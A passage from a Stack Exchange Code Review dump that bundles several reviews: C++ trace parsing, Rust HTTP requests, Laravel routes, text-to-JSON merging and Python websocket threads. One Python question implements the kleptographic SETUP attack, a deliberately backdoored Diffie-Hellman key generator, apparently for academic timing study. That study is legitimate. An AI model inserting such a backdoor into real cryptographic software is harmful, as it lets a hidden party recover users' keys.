deduplicators.resize(item->thread + 1);
}
if (all_threads.size() <= item->thread) {
all_threads.resize(item->thread + 1);
}
std::map<std::string, long long int> &dedup = deduplicators[item->thread];
const std::map<std::string, long long int>::iterator old_val = dedup.find(item->process_name);
if (old_val != dedup.end()) {
const long long int duration{item->time_stamp - old_val->second};
assert(duration >= 0);
std::vector<Process> &all_processes = all_threads[item->thread];
all_processes.emplace_back(item->process_name, item->thread, duration);
dedup.erase(old_val);
}
else {
dedup.insert({item->process_name, item->time_stamp});
}
}
return all_threads;
}
int main()
{
const std::string json_path{"/Users/me/project/project-build/save copy 2.json"};
const int max_print{10};
std::unique_ptr<Parser> parser{nullptr};
try {
parser.reset(new Parser(json_path));
}
catch (const std::string &ex) {
std::cerr << ex << std::endl;
return -1;
}
/* List of threads of list of Processes. */
std::vector<std::vector<Process>> all_threads = separate_by_thread(parser.get());
for (std::vector<Process> &all_processes : all_threads) {
std::sort(all_processes.begin(), all_processes.end());
}
for (const std::vector<Process> &all_processes : all_threads) {
for (int i = 0; i < max_print; i++) {
const Process &process = all_processes[i];
std::cout << process.get_thread() << " " << process.get_name() << " "
<< process.get_duration() << "\n";
}
}
}
</code></pre>
<p>main.hh</p>
<pre><code>#pragma once
namespace global::stringutils {
std::vector<std::string_view> split_a_line(std::string_view in_string,
const char delimiter = ',');
}
struct Item {
const std::string process_name;
const int thread;
const long long int time_stamp;
};
class Process {
private:
std::string _process_name;
int _thread;
long long int _duration;
public:
Process(std::string_view process, const int thread, const long long int duration)
: _process_name(process), _thread(thread), _duration(duration)
{
assert(duration >= 0);
}
std::string_view get_name() const
{
return _process_name;
}
int get_thread() const
{
return _thread;
}
const long long int get_duration() const
{
return _duration;
}
friend bool operator<(const Process &one, const Process &other)
{
return one.get_duration() > other.get_duration();
}
};
class Parser {
private:
std::ifstream _in_stream;
std::string _a_line;
public:
Parser(std::string_view filepath)
{
_in_stream.open(std::string(filepath));
if (!_in_stream) {
throw strerror(errno) + std::string(" : '") + std::string(filepath) + "'\n";
}
}
bool good() const
{
return _in_stream.operator bool();
}
std::unique_ptr<Item> parse_line();
};
</code></pre>
|
[] |
[
{
"body": "<h2>General Observations</h2>\n<p>As a utility this could be made more usable and flexible if it took command line arguments, such as the file to process and the number of lines to print rather than having them hard coded in the program.</p>\n<p>A well written utility would also handle the part done by hand in an editor. There might not be any reason to process a JSON file.</p>\n<p>The file extension <code>.hh</code> is non-standard for C++, prefer <code>.hpp</code> or <code>.h</code>.</p>\n<p>The code mixes C with C++ too much.</p>\n<h2>About Assert in C</h2>\n<p>If the goal for this is to run fast at some point rather than the code always being debuggable that rather than have an <code>assert()</code> in the code you should change that <code>assert()</code> to an if statement that throws an exception. When optimized <code>assert</code> statements disappear, they are a <a href=\"http://www.cplusplus.com/reference/cassert/\" rel=\"nofollow noreferrer\">debugging tool</a>.</p>\n<h2>Using <code>strerror</code> May not be Portable</h2>\n<p>The C string function <code>strerror()</code> is part of the <a href=\"https://en.cppreference.com/w/cpp/string/byte/strerror\" rel=\"nofollow noreferrer\">POSIX</a> and may not port to other platforms well. The <a href=\"http://www.cplusplus.com/reference/cstring/strerror/\" rel=\"nofollow noreferrer\">error messages from each platform</a> may be different</p>\n<p>It would also be safer if the code created an <code>exception</code> for this statement:</p>\n<pre><code> if (!_in_stream) {\n throw std::strerror(errno) + std::string(" : '") + std::string(filepath) + "'\\n";\n }\n</code></pre>\n<p>since the string created with std::strerror() is out of scope in <code>main()</code>.</p>\n<h2>Separate the Classes</h2>\n<p>In the current code all of the classes are in a single header file, this is harder to maintain and it makes it much more difficult to reuse the code for either class. By separating them into different header files you gain more flexibility. Namespaces can span multiple header files (<code>std::</code> does for example).</p>\n<h2>Complex Initialization</h2>\n<p>This statement is overly complex and might be very hard to debug if there are issues:</p>\n<pre><code> new_item.reset(new Item{ std::string(split_line_str[0]),\n std::stoi(std::string(split_line_str[3])),\n std::stoll(std::string(split_line_str[4])) });\n</code></pre>\n<p>It would be better if it were at least 2 statements.</p>\n<h2>Magic Numbers</h2>\n<p>This constant is globally defined</p>\n<pre><code>const int N_SPLIT{ 5 };\n</code></pre>\n<p>but it is only used once when it could be used multiple times:</p>\n<pre><code>/**\n * Read a line from the file and create an `Item`.\n */\nstd::unique_ptr<Item> Parser::parse_line()\n{\n std::unique_ptr<Item> new_item{ nullptr };\n const bool ok = std::getline(_in_stream, _a_line, '\\n').operator bool();\n if (!ok || _a_line.empty()) {\n return new_item;\n }\n std::vector<std::string_view> split_line_str = global::string_utils::split_a_line(_a_line);\n if (split_line_str.size() == 5) {\n new_item.reset(new Item{ std::string(split_line_str[0]),\n std::stoi(std::string(split_line_str[3])),\n std::stoll(std::string(split_line_str[4])) });\n }\n assert(split_line_str.size() == 5 || split_line_str.empty());\n return new_item;\n}\n</code></pre>\n<p>All of the <code>5</code>s in the code above should be using</p>\n<p>The code would also be more readable / understandable if <code>0</code>, <code>3</code> and <code>4</code> had symbolic names.</p>\n<h2>Type Mismatch</h2>\n<p>Using some compilers these statements generate compiler warnings about type mismatch, perhaps it would be better if <code>thread</code> were defined as <code>size_t</code> since <code>size()</code> always returns <code>size_t</code>.</p>\n<pre><code> if (deduplicators.size() <= item->thread) {\n deduplicators.resize(item->thread + 1);\n }\n if (all_threads.size() <= item->thread) {\n all_threads.resize(item->thread + 1);\n }\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T07:54:08.763",
"Id": "488805",
"Score": "1",
"body": "What's the issue with assert ? If the code cannot handle certain input, I'd like it to crash in debug builds."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T11:29:15.893",
"Id": "488809",
"Score": "0",
"body": "@anki What about release builds?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T11:52:47.673",
"Id": "488810",
"Score": "0",
"body": "the code will not crash at least and hopefully someone will report a bug that there's a problem :)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T22:45:20.470",
"Id": "249371",
"ParentId": "249344",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249371",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T10:53:30.357",
"Id": "249344",
"Score": "2",
"Tags": [
"c++",
"object-oriented",
"parsing"
],
"Title": "Poor man's \"about::tracing\" for llbuild build time summary in JSON file"
}
|
249344
|
<p>I'm new here, therefore I hope to be clear in this question. Firstly, I want to underline that I'm not a programmer, and I attended only a beginner course in Python, but I like to solve problems writing down some codes (using Python 3.8). However, here's my issue.</p>
<p>My task is to reproduce the plot below.</p>
<p><a href="https://i.stack.imgur.com/vK6Jn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vK6Jn.png" alt="enter image description here" /></a></p>
<p>Where is this picture from? It comes from <a href="https://www.degruyter.com/view/title/13378" rel="nofollow noreferrer">this journal</a> (pg 137-145)</p>
<p>Now, it's better to expose the whole story behind this picture.
In <a href="https://rd.springer.com/content/pdf/10.1007%2F3-540-69053-0_6.pdf" rel="nofollow noreferrer">this article</a>, the authors describe a kleptographic attack called SETUP against Diffie-Hellman keys exchange. In particular, they write this algorithm
<a href="https://i.stack.imgur.com/Ri4xd.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ri4xd.png" alt="enter image description here" /></a></p>
<p>Now, in <a href="https://www.degruyter.com/view/title/13378" rel="nofollow noreferrer">2</a> the authors thought "Maybe we can implement honest DHKE and malicious DHKE, and then we compare the running time of the two algorithms". Then, the plot above was born. For this purpose, they say</p>
<blockquote>
<p>"We have implemented contaminated and uncontaminated versions of Diffie-Hellman protocols in ANSI C and linked with RSAREF 2.0 library using GNU C v 2.7 compiler. All tests were run on Linux system using a computer with a Pentium II processor (350 MHz) and 64 Mb memory. Computation time for a single protocol was measured in 10- 2s."</p>
</blockquote>
<p>Good. Now, I want to do the same, i.e. implement good and evil DH and compare the running time. This is the code I produced</p>
<pre><code>import timeit #used to measure the running time of functions
import matplotlib.pyplot as plt #plot the results
import random
import numpy as np
import pyDH #library for Diffie-Hellman key exchange
X= pyDH.DiffieHellman() #Eve's private key
Y= X.gen_public_key() #Eve's public key
#The three integers a,b,W embedded by Eve
W=3
a=2
b=2
#Honest DH
def public_key():
d1 = pyDH.DiffieHellman()
return d1.gen_public_key()
#Malicoius Diffie_Hellman (SETUP) #line 1-7 in the algorithm
def mal_public_key():
d1 = pyDH.DiffieHellman().get_private_key()
t=random.choice([0,1])
z1=pow(pyDH.DiffieHellman().g,d1-W*t,pyDH.DiffieHellman().p)
z2=pow(Y,-a*d1-b,pyDH.DiffieHellman().p)
z= z1*z2 % pyDH.DiffieHellman().p
d2=hash(z)
return pow(pyDH.DiffieHellman().g,d2,pyDH.DiffieHellman().p)
#function that plot the results
def plot(ntest=100000 ):
times = []
times2=[]
for i in range(ntest):
#Running time HONEST Diffie-Hellman (worked two times = two key generations)
elapse_time = timeit.timeit(public_key, number=2)
#here I collect the times
times += [int(round(elapse_time* pow(10, 2) ) )]
# Running time MALICOIUS Diffie-Hellman
elapse_time2 = timeit.timeit(mal_public_key, number= 1)
times2 += [int(round(elapse_time2* pow(10, 2)) )]
x_axis=[i for i in range(0,20)]
#collect how many tests last i seconds
y_axis = [times.count(i) for i in x_axis]
y_axis2 = [times2.count(i) for i in x_axis]
plt.plot(x_axis, y_axis, x_axis, y_axis2)
plt.show()
plot()
</code></pre>
<p>where I used <a href="https://github.com/amiralis/pyDH" rel="nofollow noreferrer">pyDH</a> for honest Diffie-Hellman. This code showed me this figure
<a href="https://i.stack.imgur.com/QhGpo.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/QhGpo.png" alt="enter image description here" /></a></p>
<p>I think the blu line (honest DH) is ok but I'm a little bit suspicious about the orange line (SETUP DH) which is linked to this function</p>
<pre><code>def mal_public_key(): #line 1-7 in the algorithm
d1 = pyDH.DiffieHellman().get_private_key()
t=random.choice([0,1])
z1=pow(pyDH.DiffieHellman().g,d1-W*t,pyDH.DiffieHellman().p)
z2=pow(Y,-a*d1-b,pyDH.DiffieHellman().p)
z= z1*z2 % pyDH.DiffieHellman().p
d2=hash(z)
return pow(pyDH.DiffieHellman().g,d2,pyDH.DiffieHellman().p)
</code></pre>
<ol>
<li>Can the above function be considered as an "implementation" of SETUP attack against DH? Otherwise, what would you write? (any comments to the whole code will be really appreciated)</li>
<li>In the article, one can read</li>
</ol>
<blockquote>
<p>"It is interesting that the curve representing the contaminated implementation
has a small peak at the same value of computation time where the correct implementation
has its only peak. [...] There are two different
parts which occur every second call to device. The first one is identical to original
[...] protocol and exactly this part is presented on the small peak. The disproportion
between two peaks of curve representing contaminated implementation
is clearly visible. The reason is that for practical usage after the first part of the
protocol, (i.e. lines 1-3) device repeats the second part (i.e. lines 4-7) not once
but many times."</p>
</blockquote>
<p>Can you explain to me this statement? In particular, why there is no small orange peak in my plot? Maybe the <code>mal_public_key()</code> function is bad.</p>
<p>I'm working with Windows10 64bit, 8Gb RAM, AMD A10-8700P radeon R6, 10 compute cores 4C+6G 1.80GHz where I use Python 3.8. I know my computer should be better than the authors' one (I think). Maybe this can affect the results. However, <a href="https://ieeexplore.ieee.org/document/9151933" rel="nofollow noreferrer">here</a> a similar experiment on elliptic curve is showed and the plot is close to the original one (but, it's elliptic curve).</p>
<p>(P.S. I used a=b=2 and W=3 because Young and Young don't say what these integers should look)</p>
<p>Thanks in advance for your help.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T12:00:31.300",
"Id": "488710",
"Score": "1",
"body": "I'm pretty sure you should've asked SO about this. We are reviewing code here, not why your code produces that output ¯\\\\_(ツ)_/¯"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T13:06:03.930",
"Id": "488719",
"Score": "0",
"body": "@Grajdeanu Alex Well, maybe you were right, I'll try to post this question in SO. But, then, if you review codes, what about the code I wrote for describing Malicious DH and the function that plot it?"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T11:07:04.000",
"Id": "249345",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"cryptography",
"compiler"
],
"Title": "Implement kleptography in Python"
}
|
249345
|
<p>I have to send multiple HTTP requests where their payload will be different, type will be different, headers will be different, URL will be different etc. The code I have right now is</p>
<pre><code>pub async fn make_login_request(
client: &Client,
host: &String,
credentials: &HashMap<String, String>,
) -> Result<(), reqwest::Error> {
client
.post(
&(String::from("https://")
+ &String::from(host)
+ &String::from("/[URL]")),
)
.json(&credentials)
.header(
CONTENT_TYPE,
"application/json, text/javascript, */*; q=0.01",
)
.send()
.await?;
Ok(())
}
</code></pre>
<p>This code makes a POST call, for GET call, it will be like</p>
<pre><code>client
.get(
&(String::from("https://")
+ &String::from(host)
+ &String::from("/[URL]")),
)
...
</code></pre>
<p>But, I will have to create a different function for GET call. Here, I will have to pass hostname, URL, headers, payload. So, what is the best approach I should take to write this code and handle the response?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T00:20:30.340",
"Id": "488797",
"Score": "0",
"body": "Where is `Client` from?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T15:25:21.393",
"Id": "488842",
"Score": "0",
"body": "@WinstonEwert, it is ```reqwest::Client```"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T03:00:26.723",
"Id": "488906",
"Score": "0",
"body": "Have you tried this method? https://docs.rs/reqwest/0.10.8/reqwest/struct.Client.html#method.request"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T11:19:01.633",
"Id": "249346",
"Score": "2",
"Tags": [
"rust",
"asynchronous"
],
"Title": "design to send multiple type http request"
}
|
249346
|
<p>The code reads all my routes and return to my AJAX request the names of the routes without duplicates and just those that have the "rt_" prefix.</p>
<pre><code>class RouteController extends Controller {
public function getRoutes()
{
//Get all the routes.
$routes = Route::getRoutes();
//Setting up the vars
$array = [''];
foreach ($routes as $route) {
$condicional = substr($route->getName(), 0, 3);
$found = FALSE;
//Filtering the routes with rt_ prefix
if ($condicional == 'rt_') {
//Filering duplicates
foreach ($array as $item) {
if ($item == $route->getName()) {
$found = TRUE;
}
}
//Echo without duplicates
if ($found == FALSE) {
$array[] = $route->getName();
}
}
}
return response()->json($array, 200);
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T16:03:47.190",
"Id": "488733",
"Score": "0",
"body": "You can do `array_unique` at the end. No need for extra loop at every matched route."
}
] |
[
{
"body": "<p>One way to simplify this would be to create a collection with <code>collect()</code> and then call <code>getName()</code> on each route using <a href=\"https://laravel.com/docs/8.x/collections#method-map\" rel=\"nofollow noreferrer\"><code>Collection::map()</code></a>. Then use <a href=\"https://laravel.com/docs/8.x/collections#method-filter\" rel=\"nofollow noreferrer\"><code>collection::filter()</code></a> to filter out the routes that don't start with <code>rt_</code> using the string helper method <a href=\"https://laravel.com/docs/8.x/helpers#method-starts-with\" rel=\"nofollow noreferrer\"><code>Str::startsWith()</code></a></p>\n<pre><code>class RouteController extends Controller {\n public function getRoutes()\n { \n // call getName on each route and then get unique values\n $uniqueRoutes = collect(Route::getRoutes())\n ->map(fn($route) => $route->getName())\n ->unique();
\n //filter out any routes not starting with rt_\n $filteredRoutes = $uniqueRoutes->filter(function($name) {\n return Str::startsWith($name, 'rt_');\n });\n return response()->json($filteredRoutes, 200);
\n }\n}\n</code></pre>\n<p><sub>Note - the uses the PHP 7.4 <a href=\"https://www.php.net/manual/en/functions.arrow.php\" rel=\"nofollow noreferrer\">arrow function syntax</a> could be used to simplify the callback to the <code>filter()</code> method</sub></p>\n<p>One could also use <a href=\"https://laravel.com/docs/8.x/collections#method-reduce\" rel=\"nofollow noreferrer\"><code>collection::reduce()</code></a> to only add routes to the list that contain the desired prefix.</p>\n<hr />\n<p>The existing code contains this block:</p>\n<blockquote>\n<pre><code> //Filering duplicates\n foreach ($array as $item) {\n if ($item == $route->getName()) {\n $found = TRUE;\n }\n }\n</code></pre>\n</blockquote>\n<p>That could be simplified using the PHP function <a href=\"https://php.net/in_array\" rel=\"nofollow noreferrer\"><code>in_array()</code></a>.</p>\n<hr />\n<p>Another suggestion is to always use strict equality comparisons (i.e. <code>===</code> and <code>!==</code>) when possible - e.g. when <code>$found</code> should either be <code>true</code> or <code>false</code> then compare without the possibility of type conversion (i.e. with <code>==</code>).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T16:22:26.747",
"Id": "488738",
"Score": "0",
"body": "Thanks for your help! My IDE it's giving error in `fn()` asking to change PHP version in composer.json to 7.4 but it's working fine."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T16:03:01.757",
"Id": "249353",
"ParentId": "249350",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249353",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T14:49:17.163",
"Id": "249350",
"Score": "3",
"Tags": [
"php",
"array",
"iterator",
"laravel"
],
"Title": "Get all routes that start with rt_"
}
|
249350
|
<p>I have to iterate through multiple text files. For each file I read its contents and append each line to its corresponding dictionary to then build a JSON file.</p>
<p>Each text file has the following structure:</p>
<ul>
<li>Line 1: The title key.</li>
<li>Line 2: The name key.</li>
<li>Line 3: The date key.</li>
<li>Line 4: The feedback key.</li>
</ul>
<p>Here is an example of two of these files:</p>
<p><code>001.txt</code></p>
<blockquote>
<p>Great Customer Service<br />
John<br />
2017-12-21<br />
The customer service here is very good. They helped me find a 2017 Camry with good condition in reasonable price. Compared to other dealers they provided the lowest price. Definitely recommend!</p>
</blockquote>
<p><code>002.txt</code></p>
<blockquote>
<p>You will find what you want here<br />
Tom<br />
2019-06-05<br />
I've being look around for a second handed Lexus RX for my family and this store happened to have a few of those. The experience was similar to most car dealers. The one I ended up buying has good condition and low mileage. I am pretty satisfied with the price they offered.</p>
</blockquote>
<p>My approach is successful but I wonder if there is a better and faster approach of joining each line to its corresponding dictionary.<br />
Additionally do I need to write <code>with open('file', 'r')</code> for each file? Even when I use <code>os.listdir()</code> I still have the same issue.</p>
<pre><code>import json
l1 = []
l2 = []
with open("C:/Users/user/Desktop/001.txt") as file1, open("C:/Users/user/Desktop/002.txt") as file2:
for line1, line2 in zip(file1, file2):
if not line1.isspace() and not line2.isspace():
l1.append(line1.rstrip())
l2.append(line2.rstrip())
Dict = {}
Dict['dictio1'] = {'title': "", "name": "", "date": "", "feedback": ""}
Dict['dictio2'] = {'title': "", "name": "", "date": "", "feedback": ""}
Dict['dictio1']["title"] = l1[0]
Dict['dictio1']["name"] = l1[1]
Dict['dictio1']["date"] = l1[2]
Dict['dictio1']["feedback"] = l1[3]
Dict['dictio2']["title"] = l2[0]
Dict['dictio2']["name"] = l2[1]
Dict['dictio2']["date"] = l2[2]
Dict['dictio2']["feedback"] = l2[3]
with open('file.json', 'w') as file_json:
json.dump(Dict, file_json, indent=2)
</code></pre>
<pre><code>{
"dictio1": {
"title": "Great Customer Service",
"name": "John",
"date": "2017-12-21",
"feedback": "The customer service here is very good. They helped me find a 2017 Camry with good condition in reasonable price. Campared to other dealers they provided the lowest price. Definttely recommend!"
},
"dictio2": {
"title": "You will find what you want here",
"name": "Tom",
"date": "2019-06-05",
"feedback": "I've being look around for a second handed Lexus RX for my family and this store happened to have a few of those. The experience was similar to most car dealers. The one I ended up buying has good condition and low mileage. I am pretty satisfied with the price they offered."
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T19:50:29.613",
"Id": "488759",
"Score": "0",
"body": "Why are you reading the files in parallel? Is it because of the `if not line1.isspace() and not line2.isspace():`? Is that important? It's really really weird."
}
] |
[
{
"body": "<p>There are some ways you can improve your code:</p>\n<ol>\n<li><p>Rather than building a dictionary and then manually assigning each value you can assign to <code>l1[0]</code> etc straight away.</p>\n<pre class=\"lang-py prettyprint-override\"><code>Dict['dictio1'] = {'title': "", "name": "", "date": "", "feedback": ""}\nDict['dictio1']["title"] = l1[0]\nDict['dictio1']["name"] = l1[1]\nDict['dictio1']["date"] = l1[2]\nDict['dictio1']["feedback"] = l1[3]\n</code></pre>\n<pre class=\"lang-py prettyprint-override\"><code>Dict["dictio1"] = {\n "title": l1[0],\n "name": l1[1],\n "date": l1[2],\n "feedback": l1[3],\n}\n</code></pre>\n</li>\n<li><p>You should use a <code>for</code> loop over the paths and have the <code>with</code> inside it. Only building one dictionary at a time.</p>\n<pre class=\"lang-py prettyprint-override\"><code>for key, path in ...:\n with open(path) as f:\n lines = []\n for line in f:\n if not line.isspace():\n lines.append(line.rstrip())\n Dict[key] = {\n "title": l1[0],\n "name": l1[1],\n "date": l1[2],\n "feedback": l1[3],\n }\n</code></pre>\n</li>\n<li><p>We can use a list comprehension to build <code>lines</code> with some sugar.</p>\n<pre class=\"lang-py prettyprint-override\"><code>lines = [line.rstrip() for line in f if not line.isspace()]\n</code></pre>\n</li>\n</ol>\n<p>Putting this all together we can get:</p>\n<pre class=\"lang-py prettyprint-override\"><code>data = {}\npaths = [\n ("dictio1", "C:/Users/user/Desktop/001.txt"),\n ("dictio2", "C:/Users/user/Desktop/002.txt"),\n]\nfor key, path in paths:\n with open(path) as f:\n lines = [line.rstrip() for line in f if not line.isspace()]\n data[key] = {\n "title": lines[0],\n "name": lines[1],\n "date": lines[2],\n "feedback": lines[3],\n }\n\nwith open('file.json', 'w') as file_json:\n json.dump(data, file_json, indent=2)\n</code></pre>\n<p>I would recomend you change your JSON structure to remove the outer dictionary and instead use a list. This would make all your code simpler not only building it here but consuming it later.</p>\n<p>This would look like:</p>\n<pre class=\"lang-py prettyprint-override\"><code>data = []\npaths = [\n "C:/Users/user/Desktop/001.txt",\n "C:/Users/user/Desktop/002.txt",\n]\nfor path in paths:\n with open(path) as f:\n lines = [line.rstrip() for line in f if not line.isspace()]\n data.append({\n "title": lines[0],\n "name": lines[1],\n "date": lines[2],\n "feedback": lines[3],\n })\n\nwith open('file.json', 'w') as file_json:\n json.dump(data, file_json, indent=2)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T20:02:56.787",
"Id": "249365",
"ParentId": "249355",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T16:31:47.063",
"Id": "249355",
"Score": "4",
"Tags": [
"python",
"python-3.x",
"json",
"hash-map"
],
"Title": "Add lines from files to corresponding dictionaries"
}
|
249355
|
<p>I have the following basic code, which connects to a websocket server and receives some data:</p>
<pre><code>import websocket, json, time
def process_message(ws, msg):
message = json.loads(msg)
print(message)
def on_error(ws, error):
print('Error', e)
def on_close(ws):
print('Closing')
def on_open(ws):
def run(*args):
Subs = []
tradeStr= """{"method": "SUBSCRIBE", "params":%s, "id": 1}"""%(json.dumps(Subs))
ws.send(tradeStr)
thread.start_new_thread(run, ())
def Connect():
websocket.enableTrace(False)
ws = websocket.WebSocketApp("wss://myurl", on_message = process_message, on_error = on_error, on_close = on_close)
ws.on_open = on_open
ws.run_forever()
Connect()
</code></pre>
<p>Now, I would like to create more connections to different servers and receive data concurrently in the same script. I tried the following:</p>
<pre><code>def run(url):
def process_message(ws, msg):
message = json.loads(msg)
print(message)
def on_error(ws, error):
print('Error', e)
def on_close(ws):
print('Closing')
def on_open(ws):
def run(*args):
Subs = []
tradeStr= """{"method": "SUBSCRIBE", "params":%s, "id": 1}"""%(json.dumps(Subs))
ws.send(tradeStr)
thread.start_new_thread(run, ())
def Connect():
websocket.enableTrace(False)
ws = websocket.WebSocketApp(url, on_message = process_message, on_error = on_error, on_close = on_close)
ws.on_open = on_open
ws.run_forever()
Connect()
threading.Thread(target=run, kwargs={'url': 'url1'}).start()
threading.Thread(target=run, kwargs={'url': 'url2'}).start()
threading.Thread(target=run, kwargs={'url': 'url3'}).start()
</code></pre>
<p>Now, this code works, but I'm connecting to different URLs and I'm streaming data from all of them, but it seemed to me an "hacky" solution. I also don't know if what I'm doing could be bad practice or not. Each connection will send around 600/700 small JSON dictionaries, and I need to update every record to the db.</p>
<p>So my question is: is this implementation ok? Since it works with threads, can it create problems in the long run? Should I do another library such as Tornado?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T17:51:13.390",
"Id": "488747",
"Score": "0",
"body": "Welcome to code review. You might want to consider an object oriented approach, but that is for others to discuss in their answers."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T18:10:47.933",
"Id": "488749",
"Score": "0",
"body": "Thank you! I was considering this too. I'd like to hear some points of view before though!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T17:11:22.343",
"Id": "489145",
"Score": "0",
"body": "Is this the websocket package in use? https://pypi.org/project/websocket_client/"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T17:13:03.563",
"Id": "489146",
"Score": "0",
"body": "Yes, It's that package"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T18:26:56.700",
"Id": "489151",
"Score": "0",
"body": "open to use alternative libraries? check the why/why not for another package: `websockets` here: https://github.com/aaugustin/websockets#why-should-i-use-websockets"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T18:56:04.407",
"Id": "489154",
"Score": "0",
"body": "This is very interesting. Why do you think i would be better using that? Because of the async code? Or better syntax compared to websocket-client?"
}
] |
[
{
"body": "<p>Welcome to code review community. Few initial thoughts, when writing python code; following <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP-8 style guide</a> makes your code more maintainable. Which would amount to (but not limited to):</p>\n<ol>\n<li>Functions and variables named in <code>lower_snake_case</code>.</li>\n<li>Avoiding whitespaces in function parameters/arguments.</li>\n</ol>\n<hr />\n<p>Moving on, you can put your websocket handling code in its own submodule. For eg.</p>\n<pre><code>class WebSocket:\n def __init__(self, url):\n self._url = url\n\n def close(self, ws):\n # handle closed connection callback\n pass\n\n def connect(self):\n self.ws = websocket.WebSocketApp(self._url, on_close=self.close)\n self.ws.on_open = self.open # for eg.\n self.ws.run_forever()\n .\n .\n .\n</code></pre>\n<p>If you want it to support threading, you can extend this class with <code>threading.Thread</code> sub-classing (you may also choose to subclass <code>multiprocessing.Process</code> later):</p>\n<pre><code>class ThreadedWebSocket(WebSocket, threading.Thread):\n def run(self):\n # This simply calls `self.connect()`\n</code></pre>\n<p>this way, if you want to initialise threads:</p>\n<pre><code>url1_thread = ThreadedWebSocket(url=url1)\nurl1_thread.start()\nurl1_thread.join()\n</code></pre>\n<p>The subclassing is mostly a matter of preference.</p>\n<hr />\n<p>In the <code>on_open</code> callback, you are dumping a dict to json and then inserting it to a string template. The following achieves the same result, and is more intuitive (imo):</p>\n<pre><code>def on_open(ws):\n def run(*args):\n subs = []\n trade = {\n "method": "SUBSCRIBE",\n "params": subs,\n "id": 1\n }\n ws.send(json.dumps(trade))\n</code></pre>\n<hr />\n<p>Coming to your question about library alternates, and performance, network I/O is generally a blocking call. This was one of the major reason I suggested going with the <a href=\"https://github.com/aaugustin/websockets\" rel=\"nofollow noreferrer\"><code>websockets</code></a> package. The other being; we've been using websockets at our organisation for over an year in production. And it has been working really impressively for us, handling a throughput of few GB data everyday with a single low-tier machine.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T13:28:42.563",
"Id": "489324",
"Score": "0",
"body": "Thank you a lot. This was very helpful. Yes, since i'll have multiple connections and a lot of data coming in, moving to websockets might be the best choice"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T19:44:39.313",
"Id": "249552",
"ParentId": "249357",
"Score": "3"
}
},
{
"body": "<p>This is the same approach you used, just rewritten as a oop approach per pacmaninbw with a class <code>socketConn</code> inheriting from <code>websocket.WebSocketApp</code></p>\n<p>Because the <code>on_message</code>, <code>on_error</code>, and <code>on_close</code> functions you define are so short/simple you can set them directly in the overloading init with lambda functions instead of writing out each one separately and passing them as parameters</p>\n<p>New connections are formed with <code>ws = SocketConn('url')</code>. You also should be looping over an list or set of urls if you're connecting to multiple (which you probably are doing in your actual code but worth noting just in case)</p>\n<pre><code>import websocket, json, threading, _thread\n\nclass SocketConn(websocket.WebSocketApp):\n def __init__(self, url):\n #WebSocketApp sets on_open=None, pass socketConn.on_open to init\n super().__init__(url, on_open=self.on_open)\n\n self.on_message = lambda ws, msg: print(json.loads(msg))\n self.on_error = lambda ws, e: print('Error', e)\n self.on_close = lambda ws: print('Closing')\n\n self.run_forever()\n\n def on_open(self, ws):\n def run(*args):\n Subs = []\n \n tradeStr={"method":"SUBSCRIBE", "params":Subs, "id":1}\n ws.send(json.dumps(tradeStr))\n\n _thread.start_new_thread(run, ())\n\n\n\nif __name__ == '__main__':\n websocket.enableTrace(False)\n\n urls = {'url1', 'url2', 'url3'}\n\n\n for url in urls:\n # args=(url,) stops the url from being unpacked as chars\n threading.Thread(target=SocketConn, args=(url,)).start()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T13:26:14.793",
"Id": "489322",
"Score": "1",
